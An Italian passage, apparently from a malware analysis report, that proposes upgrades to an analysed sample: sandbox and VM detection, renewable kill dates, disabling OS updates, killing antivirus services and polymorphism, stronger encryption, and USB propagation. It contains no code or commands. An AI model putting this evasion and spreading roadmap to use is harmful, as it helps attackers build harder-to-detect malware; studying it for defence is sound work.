Dopo aver analizzato le attuali caratteristiche del malware proposto, possiamo esplorare potenziali migliorie che potrebbero renderlo ancora piu` pericoloso. Considerando i progressi nelle tecniche di difesa informatica, e` utile immaginare come il malware potrebbe evolvere per aggirare le protezioni moderne e aumentare la sua capacita` di diffusione e persistenza. Di seguito sonon proporti alcuni miglioramenti che potrebbero essere apportati al malware, valutando strategie di elusione, rafforzamento della persistenza e sfruttamento di nuove vulnerabilita`, rendendolo così` una minaccia ancora piu` difficile da contrastare.

Rilevamento ambiente controllato/sandbox

Potrebbe essere possibile incorporare nel malware un sistema di rilevamento per ambienti controllati, come sandbox o macchine virtuali. Questo tipo di rilevamento consente al malware di riconoscere se si trova in un ambiente isolato predisposto per analizzare il codice malevolo, e, in caso affermativo, di evitare di eseguire o di adottare comportamenti che ne mimetizzano la natura dannosa.

Un approccio al rilevamento di una sandbox prevede l’uso di tecniche che osservano l’ambiente in cui il malware si trova per individuare segni di virtualizzazione, strumenti di monitoraggio, o caratteristiche tipiche di un sistema di analisi. Ad esempio, il malware puo` verificare la presenza di processi noti come software di analisi (es. programmi antivirus avanzati, Wireshark, Sysinternals), oppure cercare specifici driver o file di configurazione associati a virtualizzazioni come VMware o VirtualBox.

Un’altra tecnica potrebbe includere l’osservazione dei tempi di risposta del sistema: in ambienti controllati, le operazioni spesso risultano rallentate rispetto a quelle di un normale sistema operativo, e questo comportamento anomalo puo` rivelare la presenza di una sandbox.

Dinamicita` della data di operativita`

All’avvio dell’applicazione tramite la funzione ‘WinMain’ vengono dichiarate le varibili temporali di ‘sco_date’ e ‘termdate’ che rappresentano rispettivamentre la data di inizio e la data di scadenza dell’operativita` del malware. Come gia` spiegato, la loro dichiarazione come ‘static’ imposta un valore persistente che non verra` ricreato ogni volta che la funzione viene chiamata.

L’aggiunta di un sistema per aggiornare dinamicamentre la data di scadenza del malware potrebbe ampliarne il ciclo di vita operativo garantendo che questo rimanga attivo anche dopo la data preimpostata in ‘termdate’. L’implementazione di una tecnica che permette il rinnovo di questa data aumenterebbe la persistenza del malware sul sitema infetto offrendo ai suoi sviluppatori un controllo continuo, riducendo la necessita` di redistribuire nuove varianti per mantere attive le infezioni.

Disabilitazione degli strumenti di difesa

L’implementazione di un sistema che disabiliti gli strumenti di difesa come aggiornamenti e patch automatici potrebbe essere una mossa strategica per aumentare significativamente la persistenza

del malware su un sistema infetto. Disabilitando le funzionalita` di aggiornamento del sitema operativo e i patch di sicurezza delle applicazioni piu` comuni, il malware riusicrebbe a mantenere il sistema in uno stato vulnerabile piu` a lungo impedendo l'applicazione di miure correttive che potrebbero invece rilevarlo e rimuoverlo.

Rilevamento e scansione antivirus

Incorporare nel malware un sistema per rilevare ed eludere l'antivirus installato sul dispositivo infetto aumenterebbe notevolmente la sua pericolosita`. Questa tecnica, conosciuta come "antivirus evasion", potrebbe essere implementata tramite diversi approcci, ciascuno pensato per evitare la rilevazione e garantire che il malware possa agire senza essere individuato.

Il malware potrebbe, ad esempio, effettuare una scansione per identificare la presenza di software antivirus o strumenti di sicurezza specifici e, una volta individuati, adottare una serie di contromisure che includono il disabilitare i servizi degli antivirus, modificare il registro di sistema per prevenire l'avvio degli stessi, o ancora interrompere i processi legati ai principali strumenti di difesa in tempo reale. Un'altra tecnica di evasione piu` avanzata e` il "polimorfismo", ossia la capacita` del malware di mutare il proprio codice ogni volta che si replica, rendendo piu` difficile per l'antivirus identificare uno schema fisso da riconoscere.

Miglioramento della cifratura dei dati

La cifratura avanzata di comunicazioni e dati potrebbe essere una strategia per ridurre notevolmente la probabilita` del malware di essere rilevato o intercettato. Nel codice analizzato vediamo come la funzione 'decrypt1_to_file' sia una funzione di decifratura relativamente semplice dove ciascun byte viene codificato con un valore derivato da un calcolo aritmetico. L'implementazione di un algortimo piu` avanzato potrebbe apportarte notevoli benefici, aumentando l'efficiacia e la resilienza del malware rendendone le attivita` piu` complesse da individuare ed analizzare.

Evoluzione delle tecniche di diffusione

Migliorare la capacita` di diffusione P2P del malware attraverso l'estensione della funzione 'p2p_spread', potrebbe garantire una propagazione piu` versatile e capillare del malware. Il malware sfrutta le reti P2P per infettare rapidamente piu` sistemi connessi, sfruttando la struttura decentralizzata delle reti peer-to-peer per evitare che un singolo nodo possa compromettere l'intera operazione. Tuttavia, un'estensione della funzione potrebbe includere nuovi canali di diffusione, potenziando significativamente la portata del malware e consentendogli di infettare sistemi anche in assenza di reti P2P attive.

Un esempio in questo senso potrebbe essere rappresentato dalla possibilita` del malware di diffondersi tramite dispositivi di archiviazione USB, tecnica di propagazione che prevede che il malware si copi automaticamente sui dispositivi USB quando questi vengono collegati al sistema infetto. Quando il dispositivo viene successivamente collegato a un altro computer, il malware puo` infettarlo senza bisogno di una connessione a internet o reti P2P attive.